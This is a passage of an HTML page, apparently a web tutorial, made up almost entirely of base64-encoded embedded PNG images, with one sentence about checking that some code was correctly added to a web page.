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" alt="" /&gt;&lt;/div&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="mso-ansi-language:EN-US" lang="EN-US"&gt;Let’s check whether the code was correctly added to the web page.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;div style="text-align: justify;"&gt;&lt;img src="data:image/png;base64,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